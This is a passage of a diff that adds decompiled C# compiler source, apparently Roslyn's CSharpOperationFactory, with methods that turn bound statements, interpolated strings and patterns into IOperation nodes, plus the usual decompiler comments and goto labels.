Create((BoundNode?)(((object)boundUsingStatement.DeclarationsOpt) ?? ((object)boundUsingStatement.ExpressionOpt))); + IOperation val = Create(boundUsingStatement.Body); + ImmutableArray publicSymbols = boundUsingStatement.Locals.GetPublicSymbols(); + bool flag = boundUsingStatement.AwaitOpt != null; + DisposeOperationInfo val2 = (((object)boundUsingStatement.PatternDisposeInfoOpt != null) ? new DisposeOperationInfo(boundUsingStatement.PatternDisposeInfoOpt.Method.GetPublicSymbol(), CreateDisposeArguments(boundUsingStatement.PatternDisposeInfoOpt, boundUsingStatement.Syntax)) : default(DisposeOperationInfo)); + SyntaxNode syntax = boundUsingStatement.Syntax; + bool wasCompilerGenerated = boundUsingStatement.WasCompilerGenerated; + return (IUsingOperation)new UsingOperation(obj, val, publicSymbols, flag, val2, _semanticModel, syntax, wasCompilerGenerated); + } + + private IThrowOperation CreateBoundThrowStatementOperation(BoundThrowStatement boundThrowStatement) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Expected O, but got Unknown + IOperation? obj = Create(boundThrowStatement.ExpressionOpt); + SyntaxNode syntax = boundThrowStatement.Syntax; + ITypeSymbol val = null; + bool wasCompilerGenerated = boundThrowStatement.WasCompilerGenerated; + return (IThrowOperation)new ThrowOperation(obj, _semanticModel, syntax, val, wasCompilerGenerated); + } + + private IReturnOperation CreateBoundReturnStatementOperation(BoundReturnStatement boundReturnStatement) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Expected O, but got Unknown + IOperation? obj = Create(boundReturnStatement.ExpressionOpt); + SyntaxNode syntax = boundReturnStatement.Syntax; + bool wasCompilerGenerated = boundReturnStatement.WasCompilerGenerated; + return (IReturnOperation)new ReturnOperation(obj, (OperationKind)9, _semanticModel, syntax, wasCompilerGenerated); + } + + private IReturnOperation CreateBoundYieldReturnStatementOperation(BoundYieldReturnStatement boundYieldReturnStatement) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Expected O, but got Unknown + IOperation? obj = Create(boundYieldReturnStatement.Expression); + SyntaxNode syntax = boundYieldReturnStatement.Syntax; + bool wasCompilerGenerated = boundYieldReturnStatement.WasCompilerGenerated; + return (IReturnOperation)new ReturnOperation(obj, (OperationKind)14, _semanticModel, syntax, wasCompilerGenerated); + } + + private ILockOperation CreateBoundLockStatementOperation(BoundLockStatement boundLockStatement) + { + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_00be: Expected O, but got Unknown + object obj; + if (_semanticModel.Compilation.CommonGetWellKnownTypeMember((WellKnownMember)143) != null) + { + ISymbol enclosingSymbol = _semanticModel.GetEnclosingSymbol(boundLockStatement.Syntax.SpanStart, default(CancellationToken)); + obj = new SynthesizedLocal(((IMethodSymbol?)(object)((enclosingSymbol is IMethodSymbol) ? enclosingSymbol : null)).GetSymbol(), TypeWithAnnotations.Create(((CSharpCompilation)(object)_semanticModel.Compilation).GetSpecialType((SpecialType)7)), (SynthesizedLocalKind)2, boundLockStatement.Argument.Syntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0).GetPublicSymbol(); + } + else + { + obj = null; + } + ILocalSymbol val = (ILocalSymbol)obj; + IOperation? obj2 = Create(boundLockStatement.Argument); + IOperation val2 = Create(boundLockStatement.Body); + SyntaxNode syntax = boundLockStatement.Syntax; + bool wasCompilerGenerated = boundLockStatement.WasCompilerGenerated; + return (ILockOperation)new LockOperation(obj2, val2, val, _semanticModel, syntax, wasCompilerGenerated); + } + + private IInvalidOperation CreateBoundBadStatementOperation(BoundBadStatement boundBadStatement) + { + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Expected O, but got Unknown + SyntaxNode syntax = boundBadStatement.Syntax; + bool flag = boundBadStatement.WasCompilerGenerated || ImmutableArrayExtensions.Any(boundBadStatement.ChildBoundNodes, (Func)((BoundNode e, BoundBadStatement boundBadStatement2) => e?.Syntax == boundBadStatement2.Syntax), boundBadStatement); + return (IInvalidOperation)new InvalidOperation(this.CreateFromArray(boundBadStatement.ChildBoundNodes), _semanticModel, syntax, (ITypeSymbol)null, (ConstantValue)null, flag); + } + + private IOperation CreateBoundLocalDeclarationOperation(BoundLocalDeclaration boundLocalDeclaration) + { + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Expected O, but got Unknown + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Expected O, but got Unknown + SyntaxNode syntax = boundLocalDeclaration.Syntax; + SyntaxNode val2; + SyntaxNode val; + switch (syntax.Kind()) + { + case SyntaxKind.LocalDeclarationStatement: + val2 = (SyntaxNode)(object)((LocalDeclarationStatementSyntax)(object)(val = (SyntaxNode)(object)(LocalDeclarationStatementSyntax)(object)syntax)).Declaration; + break; + case SyntaxKind.VariableDeclarator: + val = syntax.Parent; + val2 = syntax.Parent; + break; + default: + val = (val2 = syntax); + break; + } + bool wasCompilerGenerated = boundLocalDeclaration.WasCompilerGenerated; + ImmutableArray immutableArray = CreateVariableDeclarator(boundLocalDeclaration, val2); + ImmutableArray immutableArray2 = CreateIgnoredDimensions(boundLocalDeclaration); + VariableDeclarationOperation val3 = new VariableDeclarationOperation(immutableArray, (IVariableInitializerOperation)null, immutableArray2, _semanticModel, val2, wasCompilerGenerated); + bool flag = val == val2 || boundLocalDeclaration.WasCompilerGenerated; + return (IOperation)new VariableDeclarationGroupOperation(ImmutableArray.Create((IVariableDeclarationOperation)val3), _semanticModel, val, flag); + } + + private IOperation CreateBoundMultipleLocalDeclarationsBaseOperation(BoundMultipleLocalDeclarationsBase boundMultipleLocalDeclarations) + { + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Expected O, but got Unknown + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Expected O, but got Unknown + SyntaxNode syntax = boundMultipleLocalDeclarations.Syntax; + SyntaxNode val = (SyntaxNode)(object)(syntax.IsKind(SyntaxKind.LocalDeclarationStatement) ? ((LocalDeclarationStatementSyntax)(object)syntax).Declaration : ((VariableDeclarationSyntax)(object)syntax)); + bool wasCompilerGenerated = boundMultipleLocalDeclarations.WasCompilerGenerated; + ImmutableArray immutableArray = CreateVariableDeclarator(boundMultipleLocalDeclarations, val); + ImmutableArray immutableArray2 = CreateIgnoredDimensions(boundMultipleLocalDeclarations); + VariableDeclarationOperation val2 = new VariableDeclarationOperation(immutableArray, (IVariableInitializerOperation)null, immutableArray2, _semanticModel, val, wasCompilerGenerated); + bool flag = syntax == val || boundMultipleLocalDeclarations.WasCompilerGenerated || boundMultipleLocalDeclarations is BoundUsingLocalDeclarations; + VariableDeclarationGroupOperation val3 = new VariableDeclarationGroupOperation(ImmutableArray.Create((IVariableDeclarationOperation)val2), _semanticModel, syntax, flag); + if (boundMultipleLocalDeclarations is BoundUsingLocalDeclarations boundUsingLocalDeclarations) + { + return (IOperation)new UsingDeclarationOperation((IVariableDeclarationGroupOperation)(object)val3, boundUsingLocalDeclarations.AwaitOpt != null, ((object)boundUsingLocalDeclarations.PatternDisposeInfoOpt != null) ? new DisposeOperationInfo(boundUsingLocalDeclarations.PatternDisposeInfoOpt.Method.GetPublicSymbol(), CreateDisposeArguments(boundUsingLocalDeclarations.PatternDisposeInfoOpt, boundUsingLocalDeclarations.Syntax)) : default(DisposeOperationInfo), _semanticModel, syntax, boundMultipleLocalDeclarations.WasCompilerGenerated); + } + return (IOperation)(object)val3; + } + + private ILabeledOperation CreateBoundLabelStatementOperation(BoundLabelStatement boundLabelStatement) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Expected O, but got Unknown + ILabelSymbol? publicSymbol = boundLabelStatement.Label.GetPublicSymbol(); + SyntaxNode syntax = boundLabelStatement.Syntax; + bool wasCompilerGenerated = boundLabelStatement.WasCompilerGenerated; + return (ILabeledOperation)new LabeledOperation(publicSymbol, (IOperation)null, _semanticModel, syntax, wasCompilerGenerated); + } + + private ILabeledOperation CreateBoundLabeledStatementOperation(BoundLabeledStatement boundLabeledStatement) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Expected O, but got Unknown + ILabelSymbol? publicSymbol = boundLabeledStatement.Label.GetPublicSymbol(); + IOperation val = Create(boundLabeledStatement.Body); + SyntaxNode syntax = boundLabeledStatement.Syntax; + bool wasCompilerGenerated = boundLabeledStatement.WasCompilerGenerated; + return (ILabeledOperation)new LabeledOperation(publicSymbol, val, _semanticModel, syntax, wasCompilerGenerated); + } + + private IExpressionStatementOperation CreateBoundExpressionStatementOperation(BoundExpressionStatement boundExpressionStatement) + { + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected O, but got Unknown + bool flag = boundExpressionStatement.WasCompilerGenerated || boundExpressionStatement.Syntax == boundExpressionStatement.Expression.Syntax; + SyntaxNode syntax = boundExpressionStatement.Syntax; + IOperation? obj = Create(boundExpressionStatement.Expression); + if (boundExpressionStatement.Expression is BoundSequence) + { + flag = true; + } + return (IExpressionStatementOperation)new ExpressionStatementOperation(obj, _semanticModel, syntax, flag); + } + + internal IOperation CreateBoundTupleOperation(BoundTupleExpression boundTupleExpression, bool createDeclaration = true) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Expected O, but got Unknown + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Expected O, but got Unknown + SyntaxNode val = boundTupleExpression.Syntax; + bool wasCompilerGenerated = boundTupleExpression.WasCompilerGenerated; + ITypeSymbol publicTypeSymbol = boundTupleExpression.GetPublicTypeSymbol(); + if (val is DeclarationExpressionSyntax declarationExpressionSyntax) + { + val = (SyntaxNode)(object)declarationExpressionSyntax.Designation; + if (createDeclaration) + { + return (IOperation)new DeclarationExpressionOperation(CreateBoundTupleOperation(boundTupleExpression, createDeclaration: false), _semanticModel, (SyntaxNode)(object)declarationExpressionSyntax, publicTypeSymbol, false); + } + } + TypeSymbol typeSymbol = default(TypeSymbol); + if (boundTupleExpression is BoundTupleLiteral boundTupleLiteral) + { + TypeSymbol type = boundTupleLiteral.Type; + typeSymbol = type; + } + else if (boundTupleExpression is BoundConvertedTupleLiteral boundConvertedTupleLiteral) + { + BoundTupleLiteral sourceTuple = boundConvertedTupleLiteral.SourceTuple; + if (sourceTuple != null) + { + TypeSymbol type2 = sourceTuple.Type; + typeSymbol = type2; + } + else + { + typeSymbol = null; + } + } + else + { + if (boundTupleExpression != null) + { + BoundKind kind = boundTupleExpression.Kind; + throw ExceptionUtilities.UnexpectedValue((object)kind); + } + global::_003CPrivateImplementationDetails_003E.ThrowInvalidOperationException(); + } + TypeSymbol symbol = typeSymbol; + return (IOperation)new TupleOperation(this.CreateFromArray(boundTupleExpression.Arguments), symbol.GetPublicSymbol(), _semanticModel, val, publicTypeSymbol, wasCompilerGenerated); + } + + private IInterpolatedStringOperation CreateBoundInterpolatedStringExpressionOperation(BoundInterpolatedString boundInterpolatedString, ImmutableArray<(bool IsLiteral, bool HasAlignment, bool HasFormat)>? positionInfo = null) + { + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Expected O, but got Unknown + ImmutableArray immutableArray = CreateBoundInterpolatedStringContentOperation(boundInterpolatedString.Parts, positionInfo ?? boundInterpolatedString.InterpolationData?.PositionInfo[0]); + SyntaxNode syntax = boundInterpolatedString.Syntax; + ITypeSymbol publicTypeSymbol = boundInterpolatedString.GetPublicTypeSymbol(); + ConstantValue constantValueOpt = boundInterpolatedString.ConstantValueOpt; + bool wasCompilerGenerated = boundInterpolatedString.WasCompilerGenerated; + return (IInterpolatedStringOperation)new InterpolatedStringOperation(immutableArray, _semanticModel, syntax, publicTypeSymbol, constantValueOpt, wasCompilerGenerated); + } + + internal ImmutableArray CreateBoundInterpolatedStringContentOperation(ImmutableArray parts, ImmutableArray<(bool IsLiteral, bool HasAlignment, bool HasFormat)>? positionInfo) + { + if (positionInfo.HasValue) + { + ImmutableArray<(bool, bool, bool)> valueOrDefault = positionInfo.GetValueOrDefault(); + return createHandlerInterpolatedStringContent(valueOrDefault); + } + return createNonHandlerInterpolatedStringContent(); + ImmutableArray createHandlerInterpolatedStringContent(ImmutableArray<(bool IsLiteral, bool HasAlignment, bool HasFormat)> immutableArray) + { + //IL_01e2: Unknown result type (might be due to invalid IL or missing references) + //IL_01ec: Expected O, but got Unknown + //IL_01a3: Unknown result type (might be due to invalid IL or missing references) + //IL_01ad: Expected O, but got Unknown + ArrayBuilder instance = ArrayBuilder.GetInstance(parts.Length); + for (int i = 0; i < parts.Length; i++) + { + BoundExpression boundExpression = parts[i]; + (bool, bool, bool) currentPosition = immutableArray[i]; + BoundExpression boundExpression2; + BoundExpression boundNode; + BoundExpression boundNode2; + if (boundExpression is BoundCall boundCall) + { + (boundExpression2, boundNode, boundNode2) = getCallInfo(boundCall.Arguments, boundCall.ArgumentNamesOpt, currentPosition); + } + else if (boundExpression is BoundDynamicInvocation boundDynamicInvocation) + { + (boundExpression2, boundNode, boundNode2) = getCallInfo(boundDynamicInvocation.Arguments, boundDynamicInvocation.ArgumentNamesOpt, currentPosition); + } + else + { + if (!(boundExpression is BoundBadExpression boundBadExpression)) + { + throw ExceptionUtilities.UnexpectedValue((object)boundExpression.Kind); + } + boundExpression2 = boundBadExpression.ChildBoundNodes[0]; + if (currentPosition.Item1) + { + boundNode = (boundNode2 = null); + } + else + { + boundNode = (currentPosition.Item2 ? boundBadExpression.ChildBoundNodes[1] : null); + object obj; + if (!currentPosition.Item3) + { + obj = null; + } + else + { + ImmutableArray childBoundNodes = boundBadExpression.ChildBoundNodes; + obj = childBoundNodes[childBoundNodes.Length - 2]; + } + boundNode2 = (BoundExpression)obj; + } + } + bool flag = false; + if (currentPosition.Item1) + { + IOperation val; + if (!(boundExpression2 is BoundLiteral boundLiteral)) + { + if (!(boundExpression2 is BoundConversion boundConversion) || !(boundConversion.Operand is BoundLiteral)) + { + throw ExceptionUtilities.UnexpectedValue((object)boundExpression2.Kind); + } + val = CreateBoundConversionOperation(boundConversion, forceOperandImplicitLiteral: true); + } + else + { + val = (IOperation)(object)CreateBoundLiteralOperation(boundLiteral, @implicit: true); + } + IOperation val2 = val; + instance.Add((IInterpolatedStringContentOperation)new InterpolatedStringTextOperation(val2, _semanticModel, boundExpression.Syntax, flag)); + } + else + { + IOperation val3 = Create(boundExpression2); + IOperation val4 = Create(boundNode); + IOperation val5 = Create(boundNode2); + instance.Add((IInterpolatedStringContentOperation)new InterpolationOperation(val3, val4, val5, _semanticModel, boundExpression.Syntax, flag)); + } + } + return instance.ToImmutableAndFree(); + } + ImmutableArray createNonHandlerInterpolatedStringContent() + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Expected O, but got Unknown + ArrayBuilder instance = ArrayBuilder.GetInstance(parts.Length); + ImmutableArray.Enumerator enumerator = parts.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + if (current.Kind == BoundKind.StringInsert) + { + instance.Add((IInterpolatedStringContentOperation)Create(current)); + } + else + { + instance.Add((IInterpolatedStringContentOperation)(object)CreateBoundInterpolatedStringTextOperation((BoundLiteral)current)); + } + } + return instance.ToImmutableAndFree(); + } + static (BoundExpression Value, BoundExpression? Alignment, BoundExpression? Format) getCallInfo(ImmutableArray arguments, ImmutableArray argumentNamesOpt, (bool IsLiteral, bool HasAlignment, bool HasFormat) currentPosition) + { + BoundExpression item = arguments[0]; + if (currentPosition.IsLiteral || argumentNamesOpt.IsDefault) + { + return (Value: item, Alignment: null, Format: null); + } + int num = argumentNamesOpt.IndexOf("alignment"); + BoundExpression item2 = ((num == -1) ? null : arguments[num]); + int num2 = argumentNamesOpt.IndexOf("format"); + BoundExpression item3 = ((num2 == -1) ? null : arguments[num2]); + return (Value: item, Alignment: item2, Format: item3); + } + } + + private IInterpolationOperation CreateBoundInterpolationOperation(BoundStringInsert boundStringInsert) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + IOperation? obj = Create(boundStringInsert.Value); + IOperation val = Create(boundStringInsert.Alignment); + IOperation val2 = Create(boundStringInsert.Format); + SyntaxNode syntax = boundStringInsert.Syntax; + bool wasCompilerGenerated = boundStringInsert.WasCompilerGenerated; + return (IInterpolationOperation)new InterpolationOperation(obj, val, val2, _semanticModel, syntax, wasCompilerGenerated); + } + + private IInterpolatedStringTextOperation CreateBoundInterpolatedStringTextOperation(BoundLiteral boundNode) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Expected O, but got Unknown + ILiteralOperation obj = CreateBoundLiteralOperation(boundNode, @implicit: true); + SyntaxNode syntax = boundNode.Syntax; + bool wasCompilerGenerated = boundNode.WasCompilerGenerated; + return (IInterpolatedStringTextOperation)new InterpolatedStringTextOperation((IOperation)(object)obj, _semanticModel, syntax, wasCompilerGenerated); + } + + private IInterpolatedStringHandlerCreationOperation CreateInterpolatedStringHandler(BoundConversion conversion) + { + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Expected O, but got Unknown + InterpolatedStringHandlerData interpolatedStringHandlerData = conversion.Operand.GetInterpolatedStringHandlerData(); + IOperation? obj = Create(interpolatedStringHandlerData.Construction); + IOperation val = createContent(conversion.Operand); + bool flag = conversion.WasCompilerGenerated || !conversion.ExplicitCastInCode; + return (IInterpolatedStringHandlerCreationOperation)new InterpolatedStringHandlerCreationOperation(obj, interpolatedStringHandlerData.HasTrailingHandlerValidityParameter, interpolatedStringHandlerData.UsesBoolReturns, val, _semanticModel, conversion.Syntax, conversion.GetPublicTypeSymbol(), flag); + IOperation createContent(BoundExpression current) + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Expected O, but got Unknown + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Expected O, but got Unknown + if (current is BoundBinaryOperator boundBinaryOperator) + { + IOperation obj2 = createContent(boundBinaryOperator.Left); + IOperation val2 = createContent(boundBinaryOperator.Right); + return (IOperation)new InterpolatedStringAdditionOperation(obj2, val2, _semanticModel, current.Syntax, current.WasCompilerGenerated); + } + if (current is BoundInterpolatedString boundInterpolatedString) + { + return (IOperation)new InterpolatedStringOperation(ImmutableArrayExtensions.SelectAsArray(boundInterpolatedString.Parts, (Func)delegate(BoundExpression part, CSharpOperationFactory @this) + { + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00dd: Expected O, but got Unknown + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + string text; + if (part is BoundCall boundCall) + { + MethodSymbol method = boundCall.Method; + if ((object)method != null) + { + string name = method.Name; + text = name; + goto IL_007c; + } + } + else if (part is BoundDynamicInvocation boundDynamicInvocation) + { + if (boundDynamicInvocation.Expression is BoundMethodGroup boundMethodGroup) + { + string name2 = boundMethodGroup.Name; + text = name2; + goto IL_007c; + } + } + else if (part == null) + { + goto IL_006b; + } + if (!part.HasErrors) + { + goto IL_006b; + } + text = ""; + goto IL_007c; + IL_006b: + throw ExceptionUtilities.UnexpectedValue((object)part.Kind); + IL_007c: + string text2 = text; + OperationKind val3; + if (text2 == null || text2.Length != 0) + { + if (!(text2 == "AppendLiteral")) + { + if (!(text2 == "AppendFormatted")) + { + throw ExceptionUtilities.UnexpectedValue((object)text2); + } + val3 = (OperationKind)117; + } + else + { + val3 = (OperationKind)116; + } + } + else + { + val3 = (OperationKind)118; + } + OperationKind val4 = val3; + return (IInterpolatedStringContentOperation)new InterpolatedStringAppendOperation(@this.Create(part), val4, @this._semanticModel, part.Syntax, true); + }, this), _semanticModel, boundInterpolatedString.Syntax, boundInterpolatedString.GetPublicTypeSymbol(), boundInterpolatedString.ConstantValueOpt, boundInterpolatedString.WasCompilerGenerated); + } + throw ExceptionUtilities.UnexpectedValue((object)current.Kind); + } + } + + private IOperation CreateBoundInterpolatedStringArgumentPlaceholder(BoundInterpolatedStringArgumentPlaceholder placeholder) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Expected O, but got Unknown + SyntaxNode syntax = placeholder.Syntax; + bool flag = true; + ITypeSymbol publicTypeSymbol = placeholder.GetPublicTypeSymbol(); + if (placeholder.ArgumentIndex != -3) + { + int argumentIndex = placeholder.ArgumentIndex; + (InterpolatedStringArgumentPlaceholderKind, int) tuple = ((argumentIndex >= 0) ? ((InterpolatedStringArgumentPlaceholderKind)0, argumentIndex) : (argumentIndex switch + { + -1 => ((InterpolatedStringArgumentPlaceholderKind)1, -1), + -2 => ((InterpolatedStringArgumentPlaceholderKind)2, -1), + _ => throw ExceptionUtilities.UnexpectedValue((object)placeholder.ArgumentIndex), + })); + (InterpolatedStringArgumentPlaceholderKind, int) tuple2 = tuple; + var (val, _) = tuple2; + return (IOperation)new InterpolatedStringHandlerArgumentPlaceholderOperation(tuple2.Item2, val, _semanticModel, syntax, flag); + } + return (IOperation)new InvalidOperation(ImmutableArray.Empty, _semanticModel, syntax, publicTypeSymbol, placeholder.ConstantValueOpt, flag); + } + + private IOperation CreateBoundInterpolatedStringHandlerPlaceholder(BoundInterpolatedStringHandlerPlaceholder placeholder) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Expected O, but got Unknown + return (IOperation)new InstanceReferenceOperation((InstanceReferenceKind)3, _semanticModel, placeholder.Syntax, placeholder.GetPublicTypeSymbol(), placeholder.WasCompilerGenerated); + } + + private IConstantPatternOperation CreateBoundConstantPatternOperation(BoundConstantPattern boundConstantPattern) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Expected O, but got Unknown + IOperation? obj = Create(boundConstantPattern.Value); + SyntaxNode syntax = boundConstantPattern.Syntax; + bool wasCompilerGenerated = boundConstantPattern.WasCompilerGenerated; + TypeSymbol inputType = boundConstantPattern.InputType; + TypeSymbol narrowedType = boundConstantPattern.NarrowedType; + return (IConstantPatternOperation)new ConstantPatternOperation(obj, inputType.GetPublicSymbol(), narrowedType.GetPublicSymbol(), _semanticModel, syntax, wasCompilerGenerated); + } + + private IOperation CreateBoundRelationalPatternOperation(BoundRelationalPattern boundRelationalPattern) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Expected O, but got Unknown + BinaryOperatorKind val = Helper.DeriveBinaryOperatorKind(boundRelationalPattern.Relation); + IOperation val2 = Create(boundRelationalPattern.Value); + SyntaxNode syntax = boundRelationalPattern.Syntax; + bool wasCompilerGenerated = boundRelationalPattern.WasCompilerGenerated; + TypeSymbol inputType = boundRelationalPattern.InputType; + TypeSymbol narrowedType = boundRelationalPattern.NarrowedType; + return (IOperation)new RelationalPatternOperation(val, val2, inputType.GetPublicSymbol(), narrowedType.GetPublicSymbol(), _semanticModel, syntax, wasCompilerGenerated); + } + + private IDeclarationPatternOperation CreateBoundDeclarationPatternOperation(BoundDeclarationPattern boundDeclarationPattern) + { + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Expected O, but got Unknown + ISymbol publicSymbol = boundDeclarationPattern.Variable.GetPublicSymbol(); + if (publicSymbol == null) + { + BoundExpression? variableAccess = boundDeclarationPattern.VariableAccess; + if (variableAccess != null && variableAccess.Kind == BoundKind.DiscardExpression) + { + publicSymbol = ((BoundDiscardExpression)boundDeclarationPattern.VariableAccess).ExpressionSymbol.GetPublicSymbol(); + } + } + ITypeSymbol publicSymbol2 = boundDeclarationPattern.InputType.GetPublicSymbol(); + ITypeSymbol publicSymbol3 = boundDeclarationPattern.NarrowedType.GetPublicSymbol(); + bool isVar = boundDeclarationPattern.IsVar; + ITypeSymbol? obj = (isVar ? null : boundDeclarationPattern.DeclaredType.GetPublicTypeSymbol()); + SyntaxNode syntax = boundDeclarationPattern.Syntax; + bool wasCompilerGenerated = boundDeclarationPattern.WasCompilerGenerated; + return (IDeclarationPatternOperation)new DeclarationPatternOperation(obj, isVar, publicSymbol, publicSymbol2, publicSymbol3, _semanticModel, syntax, wasCompilerGenerated); + } + + private IRecursivePatternOperation CreateBoundRecursivePatternOperation(BoundRecursivePattern boundRecursivePattern) + { + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + //IL_00f2: Expected O, but got Unknown + ITypeSymbol publicSymbol = (boundRecursivePattern.DeclaredType?.Type ?? boundRecursivePattern.InputType.StrippedType()).GetPublicSymbol(); + ImmutableArray deconstruction = boundRecursivePattern.Deconstruction; + ImmutableArray immutableArray = ((!deconstruction.IsDefault) ? ImmutableArrayExtensions.SelectAsArray(deconstruction, (Func)((BoundPositionalSubpattern p, CSharpOperationFactory fac) => (IPatternOperation)fac.Create(p.Pattern)), this) : ImmutableArray.Empty); + ImmutableArray properties = boundRecursivePattern.Properties; + ImmutableArray immutableArray2 = ((!properties.IsDefault) ? ImmutableArrayExtensions.SelectAsArray(properties, (Func)((BoundPropertySubpattern p, (CSharpOperationFactory Fac, ITypeSymbol MatchedType) arg) => arg.Fac.CreatePropertySubpattern(p, arg.MatchedType)), (this, publicSymbol)) : ImmutableArray.Empty); + return (IRecursivePatternOperation)new RecursivePatternOperation(publicSymbol, (ISymbol)(object)boundRecursivePattern.DeconstructMethod.GetPublicSymbol(), immutableArray, immutableArray2, boundRecursivePattern.Variable.GetPublicSymbol(), boundRecursivePattern.InputType.GetPublicSymbol(), boundRecursivePattern.NarrowedType.GetPublicSymbol(), _semanticModel, boundRecursivePattern.Syntax, boundRecursivePattern.WasCompilerGenerated); + } + + private IRecursivePatternOperation CreateBoundRecursivePatternOperation(BoundITuplePattern boundITuplePattern) + { + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Expected O, but got Unknown + ImmutableArray subpatterns = boundITuplePattern.Subpatterns; + ImmutableArray immutableArray = ((!subpatterns.IsDefault) ? ImmutableArrayExtensions.SelectAsArray(subpatterns, (Func)((BoundPositionalSubpattern p, CSharpOperationFactory fac) => (IPatternOperation)fac.Create(p.Pattern)), this) : ImmutableArray.Empty); + return (IRecursivePatternOperation)new RecursivePatternOperation(boundITuplePattern.InputType.StrippedType().GetPublicSymbol(), (ISymbol)(object)boundITuplePattern.GetLengthMethod.ContainingType.GetPublicSymbol(), immutableArray, ImmutableArray.Empty, (ISymbol)null, boundITuplePattern.InputType.GetPublicSymbol(), boundITuplePattern.NarrowedType.GetPublicSymbol(), _semanticModel, boundITuplePattern.Syntax, boundITuplePattern.WasCompilerGenerated); + } + + private IOperation CreateBoundTypePatternOperation(BoundTypePattern boundTypePattern) + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + return (IOperation)new TypePatternOperation(boundTypePattern.NarrowedType.GetPublicSymbol(), boundTypePattern.InputType.GetPublicSymbol(), boundTypePattern.NarrowedType.GetPublicSymbol(), _semanticModel, boundTypePattern.Syntax, boundTypePattern.WasCompilerGenerated); + } + + private IOperation CreateBoundSlicePatternOperation(BoundSlicePattern boundNode) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Expected O, but got Unknown + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Expected O, but got Unknown + return (IOperation)new SlicePatternOperation((boundNode.Pattern == null) ? null : Binder.GetIndexerOrImplicitIndexerSymbol(boundNode.IndexerAccess).GetPublicSymbol(), (IPatternOperation)Create(boundNode.Pattern), boundNode.InputType.GetPublicSymbol(), boundNode.NarrowedType.GetPublicSymbol(), _semanticModel, boundNode.Syntax, boundNode.WasCompilerGenerated); + } + + private IOperation CreateBoundListPatternOperation(BoundListPattern boundNode) + { + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Expected O, but got Unknown + BoundExpression receiver; + SyntaxNode propertySyntax; + return (IOperation)new ListPatternOperation((ISymbol)(object)Binder.GetPropertySymbol(boundNode.LengthAccess, out receiver, out propertySyntax).GetPublicSymbol(), Binder.GetIndexerOrImplicitIndexerSymbol(boundNode.IndexerAccess).GetPublicSymbol(), ImmutableArrayExtensions.SelectAsArray(boundNode.Subpatterns, (Func)((BoundPattern p, CSharpOperationFactory fac) => (IPatternOperation)fac.Create(p)), this), boundNode.Variable.GetPublicSymbol(), boundNode.InputType.GetPublicSymbol(), boundNode.NarrowedType.GetPublicSymbol(), _semanticModel, boundNode.Syntax, boundNode.WasCompilerGenerated); + } + + private IOperation CreateBoundNegatedPatternOperation(BoundNegatedPattern boundNegatedPattern) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Expected O, but got Unknown + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Expected O, but got Unknown + return (IOperation)new NegatedPatternOperation((IPatternOperation)Create(boundNegatedPattern.Negated), boundNegatedPattern.InputType.GetPublicSymbol(), boundNegatedPattern.NarrowedType.GetPublicSymbol(), _semanticModel, boundNegatedPattern.Syntax, boundNegatedPattern.WasCompilerGenerated); + } + + private IOperation 